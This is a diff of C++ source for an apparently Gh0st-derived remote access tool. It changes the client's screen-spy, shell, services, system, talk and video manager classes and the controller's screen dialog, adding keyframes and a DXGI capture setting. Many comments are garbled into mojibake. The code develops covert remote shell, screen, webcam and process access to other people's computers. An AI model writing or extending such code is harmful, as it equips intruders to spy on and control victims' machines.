class CScreenSpy : public ScreenCapture
|
||||
{
|
||||
private:
|
||||
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
ULONG m_ulbiBitCount; // ÿ<><C3BF><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
|
||||
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
|
||||
ULONG m_ulFullHeight; //<2F><>Ļ<EFBFBD><C4BB>
|
||||
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||
|
||||
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
|
||||
|
||||
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
||||
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
|
||||
|
||||
@@ -39,10 +29,9 @@ private:
|
||||
PVOID m_DiffBitmapData_Full;
|
||||
|
||||
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
BYTE* m_RectBuffer; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
public:
|
||||
CScreenSpy(ULONG ulbiBitCount);
|
||||
CScreenSpy(ULONG ulbiBitCount, int gop = DEFAULT_GOP);
|
||||
|
||||
virtual ~CScreenSpy();
|
||||
|
||||
@@ -82,11 +71,12 @@ public:
|
||||
m_RectBufferOffset += ulLength;
|
||||
}
|
||||
|
||||
LPVOID GetFirstScreenData();
|
||||
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
|
||||
|
||||
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
|
||||
|
||||
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength);
|
||||
virtual LPBYTE ScanNextScreen() {
|
||||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
return (LPBYTE)m_DiffBitmapData_Full;
|
||||
}
|
||||
|
||||
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
SendServicesList();
|
||||
}
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
class CServicesManager : public CManager
|
||||
{
|
||||
public:
|
||||
CServicesManager(IOCPClient* ClientObject, int n);
|
||||
CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CServicesManager();
|
||||
VOID SendServicesList();
|
||||
LPBYTE GetServicesList();
|
||||
|
||||
@@ -14,7 +14,7 @@ using namespace std;
|
||||
|
||||
BOOL bStarting = TRUE;
|
||||
|
||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
m_nCmdLength = 0;
|
||||
bStarting = TRUE;
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
class CShellManager : public CManager
|
||||
{
|
||||
public:
|
||||
CShellManager(IOCPClient* ClientObject, int n);
|
||||
CShellManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
|
||||
HANDLE m_hReadPipeHandle;
|
||||
HANDLE m_hWritePipeHandle;
|
||||
|
||||
@@ -94,3 +94,11 @@ public:
|
||||
#define AUTO_TICK(thresh)
|
||||
#define STOP_TICK
|
||||
#endif
|
||||
|
||||
#ifndef SAFE_DELETE
|
||||
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
#ifndef SAFE_DELETE_ARRAY
|
||||
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
@@ -26,7 +26,7 @@ enum
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow):CManager(ClientObject)
|
||||
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject)
|
||||
{
|
||||
if (bHow==COMMAND_SYSTEM)
|
||||
{
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
class CSystemManager : public CManager
|
||||
{
|
||||
public:
|
||||
CSystemManager(IOCPClient* ClientObject,BOOL bHow);
|
||||
CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr);
|
||||
virtual ~CSystemManager();
|
||||
LPBYTE GetProcessList();
|
||||
VOID SendProcessList();
|
||||
|
||||
@@ -27,7 +27,7 @@ IOCPClient* g_IOCPClientObject = NULL;
|
||||
|
||||
extern HINSTANCE g_hInstance;
|
||||
|
||||
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken = TOKEN_TALK_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
class CTalkManager : public CManager
|
||||
{
|
||||
public:
|
||||
CTalkManager(IOCPClient* ClientObject, int n);
|
||||
CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CTalkManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n) : CManager(ClientObject)
|
||||
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
||||
{
|
||||
m_bIsWorking = TRUE;
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
class CVideoManager : public CManager
|
||||
{
|
||||
public:
|
||||
CVideoManager(IOCPClient* ClientObject, int n) ;
|
||||
CVideoManager(IOCPClient* ClientObject, int n, void* user = nullptr) ;
|
||||
virtual ~CVideoManager();
|
||||
|
||||
BOOL m_bIsWorking;
|
||||
|
||||
@@ -25,7 +25,7 @@ IsExit bExit = NULL;
|
||||
|
||||
BOOL status = 0;
|
||||
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "", 0, CLIENT_TYPE_DLL };
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 6543, CLIENT_TYPE_DLL };
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
void DebugPrivilege()
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
#include <vcruntime_string.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <time.h>
|
||||
|
||||
#ifndef _MAX_PATH
|
||||
#define _MAX_PATH 260
|
||||
@@ -133,6 +133,7 @@ enum
|
||||
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
||||
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
||||
TOKEN_KEYFRAME, // <20>ؼ<EFBFBD>֡
|
||||
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||
TOKEN_REG_KEY,
|
||||
@@ -209,3 +210,34 @@ inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef _DEBUG
|
||||
// Ϊ<>˽<EFBFBD><CBBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ꣬<C4BA><EAA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱʹ<CAB1>ã<EFBFBD><C3A3><EFBFBD>ʽ<EFBFBD>汾û<E6B1BE><C3BB>
|
||||
#define SCREENYSPY_IMPROVE 0
|
||||
#define SCREENSPY_WRITE 0
|
||||
#endif
|
||||
|
||||
// <20><><EFBFBD>ڴ<EFBFBD><DAB4>е<EFBFBD>λͼд<CDBC><D0B4><EFBFBD>ļ<EFBFBD>
|
||||
inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) {
|
||||
char path[_MAX_PATH];
|
||||
if (filePrefix.size() >= 4 && filePrefix.substr(filePrefix.size() - 4) == ".bmp") {
|
||||
strcpy_s(path, filePrefix.c_str());
|
||||
}
|
||||
else {
|
||||
sprintf_s(path, ".\\bmp\\%s_%d.bmp", filePrefix.c_str(), index == -1 ? clock() : index);
|
||||
}
|
||||
FILE* File = fopen(path, "wb");
|
||||
if (File) {
|
||||
BITMAPFILEHEADER fileHeader = { 0 };
|
||||
fileHeader.bfType = 0x4D42; // "BM"
|
||||
fileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpInfo->bmiHeader.biSizeImage;
|
||||
fileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
|
||||
|
||||
fwrite(&fileHeader, 1, sizeof(BITMAPFILEHEADER), File);
|
||||
fwrite(&bmpInfo->bmiHeader, 1, sizeof(BITMAPINFOHEADER), File);
|
||||
fwrite(bmpData, 1, bmpInfo->bmiHeader.biSizeImage, File);
|
||||
fclose(File);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
Binary file not shown.
@@ -714,6 +714,10 @@ char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) {
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineUpdate()
|
||||
{
|
||||
if (IDYES != MessageBox(_T("ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?\n<EFBFBD><EFBFBD><EFBFBD>ܿس<EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч!"),
|
||||
_T("<EFBFBD><EFBFBD>ʾ"), MB_ICONQUESTION | MB_YESNO))
|
||||
return;
|
||||
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
@@ -775,9 +779,10 @@ VOID CMy2015RemoteDlg::OnOnlineWindowManager()
|
||||
|
||||
|
||||
VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
|
||||
{
|
||||
BYTE bToken = COMMAND_SCREEN_SPY;
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
{
|
||||
int n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "DXGI");
|
||||
BYTE bToken[2] = { COMMAND_SCREEN_SPY, n };
|
||||
SendSelectedCommand(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
VOID CMy2015RemoteDlg::OnOnlineFileManager()
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
#include <ws2tcpip.h>
|
||||
|
||||
#if USING_ZLIB
|
||||
#include "zlib.h"
|
||||
#include "zlib/zlib.h"
|
||||
#define Z_FAILED(p) (Z_OK != (p))
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#else
|
||||
@@ -359,7 +359,6 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bTimeToKill==FALSE)
|
||||
{
|
||||
AUTO_TICK(40);
|
||||
InterlockedDecrement(&This->m_ulBusyThread);
|
||||
// GetQueuedCompletionStatus<75><73>ʱ<EFBFBD>Ƚϳ<C8BD><CFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¿ͻ<C2BF><CDBB>˷<EFBFBD><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߲<EFBFBD><DFB2><EFBFBD>
|
||||
BOOL bOk = GetQueuedCompletionStatus(
|
||||
@@ -367,7 +366,6 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
&dwTrans,
|
||||
(PULONG_PTR)&ContextObject,
|
||||
&Overlapped, INFINITE);
|
||||
STOP_TICK;
|
||||
DWORD dwIOError = GetLastError();
|
||||
OverlappedPlus = CONTAINING_RECORD(Overlapped, OVERLAPPEDPLUS, m_ol);
|
||||
ulBusyThread = InterlockedIncrement(&This->m_ulBusyThread); //1 1
|
||||
@@ -500,20 +498,23 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
{
|
||||
char szPacketFlag[FLAG_LENGTH + 3]= {0}; // 8<>ֽڶ<D6BD><DAB6><EFBFBD>
|
||||
ContextObject->InCompressedBuffer.CopyBuffer(szPacketFlag, FLAG_LENGTH, 0);
|
||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
||||
throw "Bad Buffer";
|
||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) {
|
||||
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||
break;
|
||||
}
|
||||
|
||||
//Shine[50][kdjfkdjfkj]
|
||||
ULONG ulPackTotalLength = 0;
|
||||
ContextObject->InCompressedBuffer.CopyBuffer(&ulPackTotalLength, sizeof(ULONG), FLAG_LENGTH);
|
||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ܳ<EFBFBD>
|
||||
//50
|
||||
if (ulPackTotalLength && (ContextObject->InCompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
|
||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ܳ<EFBFBD><EFBFBD><EFBFBD>5<EFBFBD>ֽڱ<EFBFBD>ʶ+4<>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>ܳ<EFBFBD><DCB3><EFBFBD>+4<>ֽ<EFBFBD>ԭʼ<D4AD><CABC><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
int bufLen = ContextObject->InCompressedBuffer.GetBufferLength();
|
||||
if (ulPackTotalLength && bufLen >= ulPackTotalLength)
|
||||
{
|
||||
ULONG ulOriginalLength = 0;
|
||||
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);
|
||||
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
||||
ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||
// TRACE("ulPackTotalLength: %d, ulOriginalLength: %d\n", ulPackTotalLength, ulOriginalLength);
|
||||
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448
|
||||
PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //û<>н<EFBFBD>ѹ
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>ǰ<EFBFBD><C7B0>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>û<EFBFBD>н<EFBFBD>ѹ<EFBFBD><D1B9>ȡ<EFBFBD><C8A1>pData 448
|
||||
@@ -528,7 +529,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
if (Z_SUCCESS(iRet))
|
||||
{
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||
//ContextObject->InCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
|
||||
m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
|
||||
}else{
|
||||
@@ -547,15 +548,14 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
||||
break;
|
||||
}
|
||||
}
|
||||
PostRecv(ContextObject); //Ͷ<><CDB6><EFBFBD>µĽ<C2B5><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
}catch(...)
|
||||
{
|
||||
OutputDebugStringA("[ERROR] OnClientReceiving catch an error \n");
|
||||
ContextObject->InCompressedBuffer.ClearBuffer();
|
||||
ContextObject->InDeCompressedBuffer.ClearBuffer();
|
||||
|
||||
PostRecv(ContextObject);
|
||||
}
|
||||
PostRecv(ContextObject); //Ͷ<><CDB6><EFBFBD>µĽ<C2B5><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -563,7 +563,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
|
||||
{
|
||||
assert (ContextObject);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (ulOriginalLength < 100) {
|
||||
if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL) {
|
||||
char buf[100] = { 0 };
|
||||
if (ulOriginalLength == 1){
|
||||
sprintf_s(buf, "command %d", int(szBuffer[0]));
|
||||
|
||||
@@ -30,6 +30,7 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: CDialog(CScreenSpyDlg::IDD, Parent)
|
||||
{
|
||||
m_FrameID = 0;
|
||||
ImmDisableIME(0);// 禁用输入法
|
||||
m_bFullScreen = FALSE;
|
||||
|
||||
@@ -176,8 +177,8 @@ VOID CScreenSpyDlg::OnClose()
|
||||
VOID CScreenSpyDlg::OnReceiveComplete()
|
||||
{
|
||||
assert (m_ContextObject);
|
||||
|
||||
switch(m_ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
||||
auto cmd = m_ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
||||
switch(cmd)
|
||||
{
|
||||
case TOKEN_FIRSTSCREEN:
|
||||
{
|
||||
@@ -188,16 +189,25 @@ VOID CScreenSpyDlg::OnReceiveComplete()
|
||||
{
|
||||
if (m_ContextObject->InDeCompressedBuffer.GetBYTE(1)==ALGORITHM_DIFF)
|
||||
{
|
||||
DrawNextScreenDiff();
|
||||
DrawNextScreenDiff(false);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case TOKEN_KEYFRAME: {
|
||||
if (!m_bIsFirst) {
|
||||
DrawNextScreenDiff(true);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case TOKEN_CLIPBOARD_TEXT:
|
||||
{
|
||||
Buffer str = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
|
||||
UpdateServerClipboard(str.c_str(), str.length());
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
TRACE("CScreenSpyDlg unknown command: %d!!!\n", int(cmd));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -211,13 +221,24 @@ VOID CScreenSpyDlg::DrawFirstScreen(void)
|
||||
PostMessage(WM_PAINT);//触发WM_PAINT消息
|
||||
}
|
||||
|
||||
VOID CScreenSpyDlg::DrawNextScreenDiff(void)
|
||||
VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
||||
{
|
||||
//该函数不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用
|
||||
//OnPaint画上去
|
||||
//根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
|
||||
BOOL bChange = FALSE;
|
||||
ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标 位置 + 光标类型索引
|
||||
#if SCREENYSPY_IMPROVE
|
||||
int frameID = -1;
|
||||
memcpy(&frameID, m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength), sizeof(int));
|
||||
ulHeadLength += sizeof(int);
|
||||
if (++m_FrameID != frameID) {
|
||||
TRACE("DrawNextScreenDiff [%d] bmp is lost from %d\n", frameID-m_FrameID, m_FrameID);
|
||||
m_FrameID = frameID;
|
||||
}
|
||||
#else
|
||||
m_FrameID++;
|
||||
#endif
|
||||
LPVOID FirstScreenData = m_BitmapData_Full;
|
||||
LPVOID NextScreenData = m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength);
|
||||
ULONG NextScreenLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - ulHeadLength;
|
||||
@@ -254,12 +275,25 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(void)
|
||||
|
||||
BYTE algorithm = m_ContextObject->InDeCompressedBuffer.GetBYTE(1);
|
||||
LPBYTE dst = (LPBYTE)FirstScreenData, p = (LPBYTE)NextScreenData;
|
||||
for (LPBYTE end = p + NextScreenLength; p < end; ) {
|
||||
ULONG ulCount = *(LPDWORD(p + sizeof(ULONG)));
|
||||
memcpy(dst + *(LPDWORD)p, p + 2 * sizeof(ULONG), ulCount);
|
||||
|
||||
p += 2 * sizeof(ULONG) + ulCount;
|
||||
if (keyFrame)
|
||||
{
|
||||
if (m_BitmapInfor_Full->bmiHeader.biSizeImage == NextScreenLength)
|
||||
memcpy(dst, p, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
}
|
||||
else if (0 != NextScreenLength) {
|
||||
for (LPBYTE end = p + NextScreenLength; p < end; ) {
|
||||
ULONG ulCount = *(LPDWORD(p + sizeof(ULONG)));
|
||||
memcpy(dst + *(LPDWORD)p, p + 2 * sizeof(ULONG), ulCount);
|
||||
|
||||
p += 2 * sizeof(ULONG) + ulCount;
|
||||
}
|
||||
}
|
||||
|
||||
#if SCREENSPY_WRITE
|
||||
if (!WriteBitmap(m_BitmapInfor_Full, m_BitmapData_Full, "YAMA", frameID)) {
|
||||
TRACE("WriteBitmap [%d] failed!!!\n", frameID);
|
||||
}
|
||||
#endif
|
||||
|
||||
if (bChange)
|
||||
{
|
||||
@@ -447,31 +481,7 @@ BOOL CScreenSpyDlg::SaveSnapshot(void)
|
||||
if(Dlg.DoModal () != IDOK)
|
||||
return FALSE;
|
||||
|
||||
BITMAPFILEHEADER BitMapFileHeader;
|
||||
LPBITMAPINFO BitMapInfor = m_BitmapInfor_Full; //1920 1080 1 0000
|
||||
CFile File;
|
||||
if (!File.Open( Dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// BITMAPINFO大小
|
||||
//+ (BitMapInfor->bmiHeader.biBitCount > 16 ? 1 : (1 << BitMapInfor->bmiHeader.biBitCount)) * sizeof(RGBQUAD)
|
||||
//bmp fjkdfj dkfjkdfj [][][][]
|
||||
int nbmiSize = sizeof(BITMAPINFO);
|
||||
|
||||
//协议 TCP 校验值
|
||||
BitMapFileHeader.bfType = ((WORD) ('M' << 8) | 'B');
|
||||
BitMapFileHeader.bfSize = BitMapInfor->bmiHeader.biSizeImage + sizeof(BitMapFileHeader); //8421
|
||||
BitMapFileHeader.bfReserved1 = 0; //8000
|
||||
BitMapFileHeader.bfReserved2 = 0;
|
||||
BitMapFileHeader.bfOffBits = sizeof(BitMapFileHeader) + nbmiSize;
|
||||
|
||||
File.Write(&BitMapFileHeader, sizeof(BitMapFileHeader));
|
||||
File.Write(BitMapInfor, nbmiSize);
|
||||
|
||||
File.Write(m_BitmapData_Full, BitMapInfor->bmiHeader.biSizeImage);
|
||||
File.Close();
|
||||
WriteBitmap(m_BitmapInfor_Full, m_BitmapData_Full, Dlg.GetPathName().GetBuffer());
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -23,7 +23,7 @@ public:
|
||||
PVOID m_BitmapData_Full;
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
VOID DrawFirstScreen(void);
|
||||
VOID DrawNextScreenDiff(void);
|
||||
VOID DrawNextScreenDiff(bool keyFrame);
|
||||
BOOL m_bIsFirst;
|
||||
ULONG m_ulHScrollPos;
|
||||
ULONG m_ulVScrollPos;
|
||||
@@ -45,6 +45,7 @@ public:
|
||||
LPBYTE m_szData;
|
||||
BOOL m_bSend;
|
||||
ULONG m_ulMsgCount;
|
||||
int m_FrameID;
|
||||
|
||||
BOOL SaveSnapshot(void);
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -15,6 +15,7 @@ CSettingDlg::CSettingDlg(CWnd* pParent)
|
||||
: CDialog(CSettingDlg::IDD, pParent)
|
||||
, m_nListenPort(0)
|
||||
, m_nMax_Connect(0)
|
||||
, m_sScreenCapture(_T("GDI"))
|
||||
{
|
||||
}
|
||||
|
||||
@@ -28,6 +29,9 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_nListenPort);
|
||||
DDX_Text(pDX, IDC_EDIT_MAX, m_nMax_Connect);
|
||||
DDX_Control(pDX, IDC_BUTTON_SETTINGAPPLY, m_ApplyButton);
|
||||
DDX_Control(pDX, IDC_COMBO_SCREEN_CAPTURE, m_ComboScreenCapture);
|
||||
DDX_CBString(pDX, IDC_COMBO_SCREEN_CAPTURE, m_sScreenCapture);
|
||||
DDV_MaxChars(pDX, m_sScreenCapture, 32);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
|
||||
@@ -48,9 +52,15 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
|
||||
int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection");
|
||||
|
||||
int DXGI = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "DXGI");
|
||||
|
||||
m_nListenPort = (nPort<=0 || nPort>65535) ? 6543 : nPort;
|
||||
m_nMax_Connect = nMaxConnection<=0 ? 10000 : nMaxConnection;
|
||||
|
||||
m_ComboScreenCapture.InsertString(0, "GDI");
|
||||
m_ComboScreenCapture.InsertString(1, "DXGI");
|
||||
m_sScreenCapture = DXGI ? "DXGI" : "GDI";
|
||||
|
||||
UpdateData(FALSE);
|
||||
|
||||
return TRUE;
|
||||
@@ -64,6 +74,9 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
|
||||
//<2F><>ini<6E>ļ<EFBFBD><C4BC><EFBFBD>д<EFBFBD><D0B4>ֵ
|
||||
((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("settings", "MaxConnection", m_nMax_Connect);
|
||||
|
||||
int n = m_ComboScreenCapture.GetCurSel();
|
||||
((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetInt("settings", "DXGI", n);
|
||||
|
||||
m_ApplyButton.EnableWindow(FALSE);
|
||||
m_ApplyButton.ShowWindow(SW_HIDE);
|
||||
}
|
||||
|
||||
@@ -28,4 +28,6 @@ public:
|
||||
afx_msg void OnEnChangeEditMax();
|
||||
CButton m_ApplyButton;
|
